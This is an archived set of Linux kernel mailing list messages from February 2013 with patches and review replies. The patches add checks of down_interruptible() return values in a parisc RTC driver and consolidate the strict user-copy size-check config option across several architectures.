	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 23:22:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750890Ab3B0WWa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 17:22:30 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:54162 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750711Ab3B0WW3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 17:22:29 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.28]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LyPqS-1UvYHq1vs6-015nBV for
 <linux-parisc@vger.kernel.org>; Wed, 27 Feb 2013 23:22:28 +0100
Original-Received: (qmail invoked by alias); 27 Feb 2013 22:22:28 -0000
Original-Received: from p54AD04DF.dip0.t-ipconnect.de (EHLO p100.box) [84.173.4.223]
  by mail.gmx.net (mp028) with SMTP; 27 Feb 2013 23:22:28 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+8FEh9UyS8NJ3A9gFdpxX0d2R2RZDgZcpIXgDz16
	AJV6YUgEx2H8UA
Content-Disposition: inline
In-Reply-To: <20130227221137.GA2806@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4836
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4836>

commit 42dfe13d133f945b49377c29b8c828205b231b4c
Author: Helge Deller <deller@gmx.de>
Date:   Wed Feb 27 22:46:56 2013 +0100

parisc: check return value of down_interruptible() in hp_sdc_rtc.c

additionally comment out unused code (which may be used later)

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/input/misc/hp_sdc_rtc.c b/drivers/input/misc/hp_sdc_rtc.c
index 0b4f542..2e3334b 100644
--- a/drivers/input/misc/hp_sdc_rtc.c
+++ b/drivers/input/misc/hp_sdc_rtc.c
@@ -109,7 +109,9 @@ static int hp_sdc_rtc_do_read_bbrtc (struct rtc_time *rtctm)
 	
 	if (hp_sdc_enqueue_transaction(&t)) return -1;
 	
-	down_interruptible(&tsem);  /* Put ourselves to sleep for results. */
+	/* Put ourselves to sleep for results. */
+	if (WARN_ON(down_interruptible(&tsem)))
+		return -1;
 	
 	/* Check for nonpresence of BBRTC */
 	if (!((tseq[83] | tseq[90] | tseq[69] | tseq[76] |
@@ -176,11 +178,16 @@ static int64_t hp_sdc_rtc_read_i8042timer (uint8_t loadcmd, int numreg)
 	t.seq =			tseq;
 	t.act.semaphore =	&i8042tregs;
 
-	down_interruptible(&i8042tregs);  /* Sleep if output regs in use. */
+	/* Sleep if output regs in use. */
+	if (WARN_ON(down_interruptible(&i8042tregs)))
+		return -1;
 
 	if (hp_sdc_enqueue_transaction(&t)) return -1;
 	
-	down_interruptible(&i8042tregs);  /* Sleep until results come back. */
+	/* Sleep until results come back. */
+	if (WARN_ON(down_interruptible(&i8042tregs)))
+		return -1;
+
 	up(&i8042tregs);
 
 	return (tseq[5] | 
@@ -276,6 +283,7 @@ static inline int hp_sdc_rtc_read_ct(struct timeval *res) {
 }
 
 
+#if 0 /* not used yet */
 /* Set the i8042 real-time clock */
 static int hp_sdc_rtc_set_rt (struct timeval *setto)
 {
@@ -386,6 +394,7 @@ static int hp_sdc_rtc_set_i8042timer (struct timeval *setto, uint8_t setcmd)
 	}
 	return 0;
 }
+#endif
 
 static ssize_t hp_sdc_rtc_read(struct file *file, char __user *buf,
 			       size_t count, loff_t *ppos) {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
Date: Wed, 27 Feb 2013 23:41:52 +0100
Lines: 359
Approved: news@gmane.org
Message-ID: <512E8BB0.2030207@gmx.de>
References: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362004938 10161 80.91.229.3 (27 Feb 2013 22:42:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:42:18 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Ingo Molnar <mingo@elte.hu>, "H. Peter Anvin" <hpa@zytor.com>,
	linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Chris Metcalf <cmetcalf@tilera.com>
To: Stephen Boyd <sboyd@codeaurora.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Feb 27 23:42:37 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1UAphr-00031S-Mj
	for glk-linux-kernel-3@plane.gmane.org; Wed, 27 Feb 2013 23:42:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758088Ab3B0WmD (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 27 Feb 2013 17:42:03 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:65404 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752474Ab3B0WmA (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 27 Feb 2013 17:42:00 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.2]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LcE27-1UaJ0d40Rx-00jbdr for
 <linux-kernel@vger.kernel.org>; Wed, 27 Feb 2013 23:41:58 +0100
Original-Received: (qmail invoked by alias); 27 Feb 2013 22:41:58 -0000
Original-Received: from p54AD04DF.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.4.223]
  by mail.gmx.net (mp002) with SMTP; 27 Feb 2013 23:41:58 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19kq3RCjZdkc5BxYSwZ7GCe8jBCapeo+Z4A5h8bEi
	WkxKC1WmS79T6W
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130219 Thunderbird/17.0.3
In-Reply-To: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org>
X-Enigmail-Version: 1.5
X-Y-GMX-Trusted: 0
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1448354 gmane.linux.ports.parisc:4837
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1448354>

On 02/27/2013 04:00 AM, Stephen Boyd wrote:
> The help text for this config is duplicated across the x86,
> parisc, and s390 Kconfig.debug files. Arnd Bergman noted that the
> help text was slightly misleading and should be fixed to state
> that enabling this option isn't a problem when using pre 4.4 gcc.
> 
> To simplify the rewording, consolidate the text into
> lib/Kconfig.debug and modify it there to be more explicit about
> when you should say N to this config.
> 
> Also, make the text a bit more generic by stating that this
> option enables compile time checks so we can cover architectures
> which emit warnings vs. ones which emit errors. The details of
> how an architecture decided to implement the checks isn't as
> important as the concept of compile time checking of
> copy_from_user() calls.
> 
> While we're doing this, remove all the copy_from_user_overflow()
> code that's duplicated many times and place it into lib/ so that
> any architecture supporting this option can get the function for
> free.
> 
> Cc: Arnd Bergmann <arnd@arndb.de>
> Cc: Ingo Molnar <mingo@elte.hu>
> Cc: H. Peter Anvin <hpa@zytor.com>
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-s390@vger.kernel.org
> Cc: Arjan van de Ven <arjan@linux.intel.com>
> Cc: Helge Deller <deller@gmx.de>
> Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
> Cc: Stephen Rothwell <sfr@canb.auug.org.au>
> Cc: Chris Metcalf <cmetcalf@tilera.com>
> Signed-off-by: Stephen Boyd <sboyd@codeaurora.org>
> ---
> 
> Per Helge Deller prodding me, I'm resending just this patch.

Yes, I found it in kernel patchwork and I think it's a good cleanup.
Tested OK on parisc:

Acked-by: Helge Deller <deller@gmx.de>




> https://patchwork.kernel.org/patch/833182/
> 
>  arch/parisc/Kconfig             |  1 +
>  arch/parisc/Kconfig.debug       | 14 --------------
>  arch/s390/Kconfig               |  1 +
>  arch/s390/Kconfig.debug         | 14 --------------
>  arch/s390/lib/Makefile          |  1 -
>  arch/s390/lib/usercopy.c        |  8 --------
>  arch/sparc/lib/Makefile         |  1 -
>  arch/sparc/lib/usercopy.c       |  9 ---------
>  arch/tile/Kconfig               |  8 +-------
>  arch/tile/include/asm/uaccess.h |  7 ++++++-
>  arch/tile/lib/uaccess.c         |  8 --------
>  arch/x86/Kconfig                |  1 +
>  arch/x86/Kconfig.debug          | 14 --------------
>  arch/x86/lib/usercopy_32.c      |  6 ------
>  lib/Kconfig.debug               | 18 ++++++++++++++++++
>  lib/Makefile                    |  1 +
>  lib/usercopy.c                  |  9 +++++++++
>  17 files changed, 38 insertions(+), 83 deletions(-)
>  delete mode 100644 arch/s390/lib/usercopy.c
>  delete mode 100644 arch/sparc/lib/usercopy.c
>  create mode 100644 lib/usercopy.c
> 
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index a2a47d9..96be92f 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -1,5 +1,6 @@
>  config PARISC
>  	def_bool y
> +	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
>  	select HAVE_IDE
>  	select HAVE_OPROFILE
>  	select HAVE_FUNCTION_TRACER if 64BIT
> diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
> index 7305ac8..bc989e5 100644
> --- a/arch/parisc/Kconfig.debug
> +++ b/arch/parisc/Kconfig.debug
> @@ -12,18 +12,4 @@ config DEBUG_RODATA
>           portion of the kernel code won't be covered by a TLB anymore.
>           If in doubt, say "N".
>  
> -config DEBUG_STRICT_USER_COPY_CHECKS
> -	bool "Strict copy size checks"
> -	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
> -	---help---
> -	  Enabling this option turns a certain set of sanity checks for user
> -	  copy operations into compile time failures.
> -
> -	  The copy_from_user() etc checks are there to help test if there
> -	  are sufficient security checks on the length argument of
> -	  the copy operation, by having gcc prove that the argument is
> -	  within bounds.
> -
> -	  If unsure, or if you run an older (pre 4.4) gcc, say N.
> -
>  endmenu
> diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
> index 4b50537..516621f 100644
> --- a/arch/s390/Kconfig
> +++ b/arch/s390/Kconfig
> @@ -91,6 +91,7 @@ config S390
>  	select ARCH_INLINE_WRITE_UNLOCK_BH
>  	select ARCH_INLINE_WRITE_UNLOCK_IRQ
>  	select ARCH_INLINE_WRITE_UNLOCK_IRQRESTORE
> +	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
>  	select ARCH_SAVE_PAGE_KEYS if HIBERNATION
>  	select ARCH_WANT_IPC_PARSE_VERSION
>  	select BUILDTIME_EXTABLE_SORT
> diff --git a/arch/s390/Kconfig.debug b/arch/s390/Kconfig.debug
> index fc32a2d..c56878e 100644
> --- a/arch/s390/Kconfig.debug
> +++ b/arch/s390/Kconfig.debug
> @@ -17,20 +17,6 @@ config STRICT_DEVMEM
>  
>  	  If you are unsure, say Y.
>  
> -config DEBUG_STRICT_USER_COPY_CHECKS
> -	def_bool n
> -	prompt "Strict user copy size checks"
> -	---help---
> -	  Enabling this option turns a certain set of sanity checks for user
> -	  copy operations into compile time warnings.
> -
> -	  The copy_from_user() etc checks are there to help test if there
> -	  are sufficient security checks on the length argument of
> -	  the copy operation, by having gcc prove that the argument is
> -	  within bounds.
> -
> -	  If unsure, or if you run an older (pre 4.4) gcc, say N.
> -
>  config S390_PTDUMP
>  	bool "Export kernel pagetable layout to userspace via debugfs"
>  	depends on DEBUG_KERNEL
> diff --git a/arch/s390/lib/Makefile b/arch/s390/lib/Makefile
> index 6ab0d0b..20b0e97 100644
> --- a/arch/s390/lib/Makefile
> +++ b/arch/s390/lib/Makefile
> @@ -3,7 +3,6 @@
>  #
>  
>  lib-y += delay.o string.o uaccess_std.o uaccess_pt.o
> -obj-y += usercopy.o
>  obj-$(CONFIG_32BIT) += div64.o qrnnd.o ucmpdi2.o mem32.o
>  obj-$(CONFIG_64BIT) += mem64.o
>  lib-$(CONFIG_64BIT) += uaccess_mvcos.o
> diff --git a/arch/s390/lib/usercopy.c b/arch/s390/lib/usercopy.c
> deleted file mode 100644
> index 14b363f..0000000
> --- a/arch/s390/lib/usercopy.c
> +++ /dev/null
> @@ -1,8 +0,0 @@
> -#include <linux/module.h>
> -#include <linux/bug.h>
> -
> -void copy_from_user_overflow(void)
> -{
> -	WARN(1, "Buffer overflow detected!\n");
> -}
> -EXPORT_SYMBOL(copy_from_user_overflow);
> diff --git a/arch/sparc/lib/Makefile b/arch/sparc/lib/Makefile
> index 8410065f2..dbe119b 100644
> --- a/arch/sparc/lib/Makefile
> +++ b/arch/sparc/lib/Makefile
> @@ -45,4 +45,3 @@ obj-y                 += iomap.o
>  obj-$(CONFIG_SPARC32) += atomic32.o ucmpdi2.o
>  obj-y                 += ksyms.o
>  obj-$(CONFIG_SPARC64) += PeeCeeI.o
> -obj-y                 += usercopy.o
> diff --git a/arch/sparc/lib/usercopy.c b/arch/sparc/lib/usercopy.c
> deleted file mode 100644
> index 5c4284c..0000000
> --- a/arch/sparc/lib/usercopy.c
> +++ /dev/null
> @@ -1,9 +0,0 @@
> -#include <linux/module.h>
> -#include <linux/kernel.h>
> -#include <linux/bug.h>
> -
> -void copy_from_user_overflow(void)
> -{
> -	WARN(1, "Buffer overflow detected!\n");
> -}
> -EXPORT_SYMBOL(copy_from_user_overflow);
> diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
> index 1404497..9d65a48 100644
> --- a/arch/tile/Kconfig
> +++ b/arch/tile/Kconfig
> @@ -19,6 +19,7 @@ config TILE
>  	select HAVE_SYSCALL_WRAPPERS if TILEGX
>  	select HAVE_VIRT_TO_BUS
>  	select SYS_HYPERVISOR
> +	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
>  	select ARCH_HAVE_NMI_SAFE_CMPXCHG
>  	select GENERIC_CLOCKEVENTS
>  	select MODULES_USE_ELF_RELA
> @@ -117,13 +118,6 @@ config STRICT_DEVMEM
>  config SMP
>  	def_bool y
>  
> -# Allow checking for compile-time determined overflow errors in
> -# copy_from_user().  There are still unprovable places in the
> -# generic code as of 2.6.34, so this option is not really compatible
> -# with -Werror, which is more useful in general.
> -config DEBUG_COPY_FROM_USER
> -	def_bool n
> -
>  config HVC_TILE
>  	depends on TTY
>  	select HVC_DRIVER
> diff --git a/arch/tile/include/asm/uaccess.h b/arch/tile/include/asm/uaccess.h
> index 9ab078a..8a082bc 100644
> --- a/arch/tile/include/asm/uaccess.h
> +++ b/arch/tile/include/asm/uaccess.h
> @@ -395,7 +395,12 @@ _copy_from_user(void *to, const void __user *from, unsigned long n)
>  	return n;
>  }
>  
> -#ifdef CONFIG_DEBUG_COPY_FROM_USER
> +#ifdef CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
> +/*
> + * There are still unprovable places in the generic code as of 2.6.34, so this
> + * option is not really compatible with -Werror, which is more useful in
> + * general.
> + */
>  extern void copy_from_user_overflow(void)
>  	__compiletime_warning("copy_from_user() size is not provably correct");
>  
> diff --git a/arch/tile/lib/uaccess.c b/arch/tile/lib/uaccess.c
> index f8d398c..030abe3 100644
> --- a/arch/tile/lib/uaccess.c
> +++ b/arch/tile/lib/uaccess.c
> @@ -22,11 +22,3 @@ int __range_ok(unsigned long addr, unsigned long size)
>  		 is_arch_mappable_range(addr, size));
>  }
>  EXPORT_SYMBOL(__range_ok);
> -
> -#ifdef CONFIG_DEBUG_COPY_FROM_USER
> -void copy_from_user_overflow(void)
> -{
> -       WARN(1, "Buffer overflow detected!\n");
> -}
> -EXPORT_SYMBOL(copy_from_user_overflow);
> -#endif
> diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
> index a4f24f5..f045e0a 100644
> --- a/arch/x86/Kconfig
> +++ b/arch/x86/Kconfig
> @@ -20,6 +20,7 @@ config X86_64
>  ### Arch settings
>  config X86
>  	def_bool y
> +	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
>  	select HAVE_AOUT if X86_32
>  	select HAVE_UNSTABLE_SCHED_CLOCK
>  	select ARCH_SUPPORTS_NUMA_BALANCING
> diff --git a/arch/x86/Kconfig.debug b/arch/x86/Kconfig.debug
> index b322f12..dea0da5 100644
> --- a/arch/x86/Kconfig.debug
> +++ b/arch/x86/Kconfig.debug
> @@ -292,20 +292,6 @@ config OPTIMIZE_INLINING
>  
>  	  If unsure, say N.
>  
> -config DEBUG_STRICT_USER_COPY_CHECKS
> -	bool "Strict copy size checks"
> -	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
> -	---help---
> -	  Enabling this option turns a certain set of sanity checks for user
> -	  copy operations into compile time failures.
> -
> -	  The copy_from_user() etc checks are there to help test if there
> -	  are sufficient security checks on the length argument of
> -	  the copy operation, by having gcc prove that the argument is
> -	  within bounds.
> -
> -	  If unsure, or if you run an older (pre 4.4) gcc, say N.
> -
>  config DEBUG_NMI_SELFTEST
>  	bool "NMI Selftest"
>  	depends on DEBUG_KERNEL && X86_LOCAL_APIC
> diff --git a/arch/x86/lib/usercopy_32.c b/arch/x86/lib/usercopy_32.c
> index f0312d7..3eb18ac 100644
> --- a/arch/x86/lib/usercopy_32.c
> +++ b/arch/x86/lib/usercopy_32.c
> @@ -689,9 +689,3 @@ _copy_from_user(void *to, const void __user *from, unsigned long n)
>  	return n;
>  }
>  EXPORT_SYMBOL(_copy_from_user);
> -
> -void copy_from_user_overflow(void)
> -{
> -	WARN(1, "Buffer overflow detected!\n");
> -}
> -EXPORT_SYMBOL(copy_from_user_overflow);
> diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
> index 28be08c..ae80518 100644
> --- a/lib/Kconfig.debug
> +++ b/lib/Kconfig.debug
> @@ -1292,6 +1292,24 @@ config LATENCYTOP
>  	  Enable this option if you want to use the LatencyTOP tool
>  	  to find out which userspace is blocking on what kernel operations.
>  
> +config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
> +	bool
> +
> +config DEBUG_STRICT_USER_COPY_CHECKS
> +	bool "Strict user copy size checks"
> +	depends on ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
> +	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
> +	help
> +	  Enabling this option turns a certain set of sanity checks for user
> +	  copy operations into compile time failures.
> +
> +	  The copy_from_user() etc checks are there to help test if there
> +	  are sufficient security checks on the length argument of
> +	  the copy operation, by having gcc prove that the argument is
> +	  within bounds.
> +
> +	  If unsure, say N.
> +
>  source mm/Kconfig.debug
>  source kernel/trace/Kconfig
>  
> diff --git a/lib/Makefile b/lib/Makefile
> index 32f4455..59fabd0 100644
> --- a/lib/Makefile
> +++ b/lib/Makefile
> @@ -15,6 +15,7 @@ lib-y := ctype.o string.o vsprintf.o cmdline.o \
>  	 is_single_threaded.o plist.o decompress.o kobject_uevent.o \
>  	 earlycpio.o percpu-refcount.o
>  
> +lib-$(CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS) += usercopy.o
>  lib-$(CONFIG_MMU) += ioremap.o
>  lib-$(CONFIG_SMP) += cpumask.o
>  
> diff --git a/lib/usercopy.c b/lib/usercopy.c
> new file mode 100644
> index 0000000..4f5b1dd
> --- /dev/null
> +++ b/lib/usercopy.c
> @@ -0,0 +1,9 @@
> +#include <linux/export.h>
> +#include <linux/bug.h>
> +#include <linux/uaccess.h>
> +
> +void copy_from_user_overflow(void)
> +{
> +	WARN(1, "Buffer overflow detected!\n");
> +}
> +EXPORT_SYMBOL(copy_from_user_overflow);
> 


From - Thu Nov 08 21:08:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECK
Date: Thu, 28 Feb 2013 09:45:10 +1100
Lines: 61
Approved: news@gmane.org
Message-ID: <20130228094510.3341017130e4476e046bdd22@canb.auug.org.au>
References: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org>
	<201302272032.21014.arnd@arndb.de>
	<512E6FA9.4060504@codeaurora.org>
	<512E8664.3070903@zytor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA256";
 boundary="Signature=_Thu__28_Feb_2013_09_45_10_+1100_i+n3.uHYzm3pPRiH"
X-Trace: ger.gmane.org 1362005128 12110 80.91.229.3 (27 Feb 2013 22:45:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:45:28 +0000 (UTC)
Cc: Stephen Boyd <sboyd@codeaurora.org>, Arnd Bergmann <arnd@arndb.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Chris Metcalf <cmetcalf@tilera.com>
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 23:45:48 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UApkv-00036V-1Y
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 23:45:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755690Ab3B0WpY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 17:45:24 -0500
Original-Received: from haggis.pcug.org.au ([203.10.76.10]:43087 "EHLO
	members.tip.net.au" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753576Ab3B0WpX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 17:45:23 -0500
Original-Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by members.tip.net.au (Postfix) with ESMTPSA id 84AF5164064;
	Thu, 28 Feb 2013 09:45:15 +1100 (EST)
In-Reply-To: <512E8664.3070903@zytor.com>
X-Mailer: Sylpheed 3.3.0 (GTK+ 2.24.10; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4838 gmane.linux.kernel:1448355
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4838>

--Signature=_Thu__28_Feb_2013_09_45_10_+1100_i+n3.uHYzm3pPRiH
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi all,

On Wed, 27 Feb 2013 14:19:16 -0800 "H. Peter Anvin" <hpa@zytor.com> wrote:
>
> Although some of the cases I have seen being flagged as "false
> positives" have been real bugs.

[hijacking the thread :-)]

I have been getting this warning for a very long time ( which would be an
error if CONFIG_DEBUG_STRICT_USER_COPY_CHECK was set):

i386 defconfig
i386-linux-gcc (GCC) 4.6.3

In file included from arch/x86/include/asm/uaccess.h:537:0,
                 from include/linux/uaccess.h:5,
                 from include/linux/highmem.h:8,
                 from include/linux/pagemap.h:10,
                 from fs/binfmt_misc.c:27:
arch/x86/include/asm/uaccess_32.h: In function 'parse_command.part.2':
arch/x86/include/asm/uaccess_32.h:211:26: warning: call to 'copy_from_user_=
overflow' declared with attribute warning: copy_from_user() buffer size is =
not provably correct [enabled by default]

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au

--Signature=_Thu__28_Feb_2013_09_45_10_+1100_i+n3.uHYzm3pPRiH
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBCAAGBQJRLox2AAoJEECxmPOUX5FEAKwQAKmHBfYdwxb9iYsBLdeD9DnN
MkEc6ZrCNma+Q0YI5hKbSpZMSM5232+J7d4Ft2E0K7g3ysVt0lOGt+Pkt3FCCeMA
Dou3c5LOk1sALsqKvTVAkCRDqWJcKWlEdc82E+X1pqfvF+6Q2fS9B5OKZN4AfABn
3HDJRiVcXirrByOglAeEWI+l70RjQNAE1VsZzTpt6YRl1Dl1jfweQgz9IwCbPQWi
XCpYg9iuNX3+Ng2eF1jT5d9Vs5nQ0kUSdnae/BXKWfU8LidrQHBY1SuprQw6IYk+
OfJIH9uXLViuXtx+Z1TBvASUrsJ8wYwuuq1ghg7PnO60ldk7yEQHYz9uHbvGKTVH
fJZWagZS+p81+DLoeXjGyIUAP8FqepG5jIny4odu+wU0IWqD7quNVF10z4D33mOZ
iBMudKnnnFJ2bQGo5UuSabfKWyIoZPhAl31EkhHoAZm3+nMboAlUMygxmMJzt8Gw
GFtmgp0b8ThvMJKCWBl/b7Nolzwyer6U6k0dNRhjYhR9NVWbDz/7PnRbCBBC4DuP
tCVyZLP1S2hunSlHpCjAQMgKew4dQpxUtCagD1Z1XONXIpQvwdk1MARa+zviuyFf
ACZu5SQD2lSTHle7ensmlIK4dMPF0kBs+wn5wHvIptyD6hXndjwEgcAHuXF+pql+
YdfN39MR3E6j7sxOQIzB
=2dht
-----END PGP SIGNATURE-----

--Signature=_Thu__28_Feb_2013_09_45_10_+1100_i+n3.uHYzm3pPRiH--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Boyd <sboyd@codeaurora.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECK
Date: Wed, 27 Feb 2013 14:52:56 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <512E8E48.8020007@codeaurora.org>
References: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org> <201302272032.21014.arnd@arndb.de> <512E6FA9.4060504@codeaurora.org> <512E8664.3070903@zytor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362005580 16537 80.91.229.3 (27 Feb 2013 22:53:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:53:00 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Chris Metcalf <cmetcalf@tilera.com>
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 23:53:20 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UApsF-0006QG-GG
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 23:53:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
